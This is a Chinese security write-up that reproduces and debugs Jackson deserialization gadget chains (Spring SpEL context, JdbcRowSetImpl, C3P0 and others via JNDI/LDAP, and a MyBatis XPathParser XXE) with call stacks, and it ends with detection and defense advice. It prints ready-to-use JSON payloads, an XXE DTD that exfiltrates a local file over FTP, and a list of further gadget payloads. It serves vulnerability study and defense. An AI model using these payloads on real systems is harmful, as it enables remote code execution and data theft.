反序列化漏洞的利用链实在是太多了,前面都是挑了一些特别点的利用链进行了复现和调试分析,具体还有哪些以及所适用的版本看下Jackson的黑名单的设置就知道了。

0x01 基于FileSystemXmlApplicationContext的利用链

复现利用

和之前分析的ClassPathXmlApplicationContext类出自同一个包,一模一样的环境,只需要换下利用类为org.springframework.context.support.FileSystemXmlApplicationContext即可成功触发:

1
String payload = "[\"org.springframework.context.support.FileSystemXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]";

FileSystemXmlApplicationContext类的漏洞原理和ClassPathXmlApplicationContext类是一样的,同样是没有setter方法,只有构造函数,而该函数中的refresh()函数存在SpEL注入漏洞。

调试分析

和前面CVE-2017-17485的一样,只不过换了个同一个包下的不同类而已,具体的参考之前的调试分析即可。

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
evaluate:163, StandardBeanExpressionResolver (org.springframework.context.expression)
evaluateBeanDefinitionString:1452, AbstractBeanFactory (org.springframework.beans.factory.support)
doResolveBeanClass:1409, AbstractBeanFactory (org.springframework.beans.factory.support)
resolveBeanClass:1372, AbstractBeanFactory (org.springframework.beans.factory.support)
determineTargetType:670, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
predictBeanType:637, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
isFactoryBean:1489, AbstractBeanFactory (org.springframework.beans.factory.support)
doGetBeanNamesForType:421, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBeanNamesForType:391, DefaultListableBeanFactory (org.springframework.beans.factory.support)
registerBeanPostProcessors:189, PostProcessorRegistrationDelegate (org.springframework.context.support)
registerBeanPostProcessors:709, AbstractApplicationContext (org.springframework.context.support)
refresh:534, AbstractApplicationContext (org.springframework.context.support)
<init>:142, FileSystemXmlApplicationContext (org.springframework.context.support)
<init>:85, FileSystemXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:299, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1204, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:144, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:135, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:11, PoC

0x02 基于JdbcRowSetImpl的利用链

复现利用

和Fastjson反序列化漏洞中的利用是一样的原理,都是利用JNDI注入漏洞实现反序列化漏洞的利用,不再多说,需要实现RMI服务或LDAP服务,注意JDK版本限制等:

1
String payload = "[\"com.sun.rowset.JdbcRowSetImpl\", {\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":true}]";

调试分析

参考Fastjson反序列化漏洞对应的调试分析即可。

利用链:setDataSourceName()->..->setAutoCommit()->connect()->IntialContext.lookup()

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
deserializeAndSet:97, MethodProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:11, PoC

0x03 基于C3P0 JndiRefForwardingDataSource的利用链

复现利用

需要开启RMI服务或LDAP服务,另外还需要c3p0-0.9.5.2,mchange-commons-java-0.2.15等jar包:

1
String payload = "[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", {\"jndiName\":\"ldap://localhost:1389/Exploit\", \"loginTimeout\":0}]";

调试分析

看到PoC中设置了两个属性值jndiName和loginTimeout。

我们调试的时候直接往com.mchange.v2.c3p0.JndiRefForwardingDataSource类的setLoginTimeout()及其父类JndiRefDataSourceBase.setJndiName()上打上断点。

前面的解析和反序列化过程跟之前的调试分析是一样的,调用deserializeAndSet()函数,再在其中调用_setter.invoke()实现反射调用目标类属性的setter方法。这里是先调用JndiRefDataSourceBase.setJndiName()设置jndiName属性值为我们的恶意LDAP服务地址:

往下调试,接着调用JndiRefForwardingDataSource.setLoginTimeout()函数设置loginTimeout属性值,可以看到先调用了inner()方法:

跟进inner()方法,由于inner并未有缓存即cachedInner为空,所以会往下执行调用dereference()函数:

在dereference()函数中,就是典型的JNDI注入漏洞了,其中lookup()函数的参数就是前面调用setJndiName()设置的属性值:

往下就是JNDI注入的过程了。

此时函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<init>:2, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
dereference:112, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
inner:134, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
setLoginTimeout:157, JndiRefForwardingDataSource (com.mchange.v2.c3p0)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
deserializeAndSet:97, MethodProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:11, PoC

0x04 基于XPathParser的利用链

复现利用

需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

《Jackson系列六——CVE-2019-12814(基于JDOM-XSLTransformer利用链)》类似,只不过注入的XXE payload直接写在JSON数组中:

1
String payload = "[\"org.apache.ibatis.parsing.XPathParser\", \"<!DOCTYPE ANY[\\n<!ENTITY % file SYSTEM 'file:///c:/windows/win.ini'>\\n<!ENTITY % remote SYSTEM 'http://127.0.0.1/xxe/evil.dtd'>\\n%remote;\\n%send;\\n]>\"]";

evil.dtd:

1
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'ftp://127.0.0.1:21/%file;'>"> %all;

开启Web服务放置exp.xml和evil.dtd,再开启FTP服务进行监听接受数据:

调试分析

在调用newInstance()函数的时候,会新建一个XPathParser类对象,同时会调用该类的构造函数:

其中会调用createDocument()函数,其中直接调用DocumentBuilder.parse()而未调用setFeature()设置禁用的解析类型,并且参数是我们外部可控的XML内容,因此妥妥的XXE:

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
parse:339, DocumentBuilderImpl (com.sun.org.apache.xerces.internal.jaxp)
createDocument:257, XPathParser (org.apache.ibatis.parsing)
<init>:55, XPathParser (org.apache.ibatis.parsing)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:299, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1204, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:144, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:135, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:11, PoC

0x05 更多的一些Gadgets

收集的一些利用链payload,具体环境和原理可自行搭建调试分析:

1
2
3
4
5
6
7
8
9
10
11
["org.springframework.context.support.GenericGroovyApplicationContext", "http://127.0.0.1:8000/spel.xml"]

["org.apache.openjpa.ee.RegistryManagedRuntime", {"registryName":"ldap://localhost:1389/Exploit", "rollbackOnly": null}]

["org.apache.openjpa.ee.JNDIManagedRuntime", {"transactionManagerName":"ldap://localhost:1389/Exploit", "rollbackOnly": null}]

["org.apache.axis2.transport.jms.JMSOutTransportInfo", "jms:/ldap://localhost:1389/Exploit"]

["net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup", {"properties":{"jndiname":"rmi://localhost:1099/Exploit"}}]

["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiname":"rmi://localhost:1099/Exploit"}]

0x06 检测与防御

检查方法

检查是否使用到了Jackson,并且版本号是否是漏洞版本,若是则排查是否存在ObjectMapper.readValue,同时排查是否开启了DefaultTyping或使用了设置有问题的@JsonTypeInfo注解。

防御方法

  • 升级到最新版的Jackson;
  • 禁用enableDefaultTyping();
  • 禁用@JsonTypeInfo注解,或严格限制只能使用值为JsonTypeInfo.Id.NONE或JsonTypeInfo.Id.NAME的注解;
  • 避免使用Object作为Jackson反序列化的类型;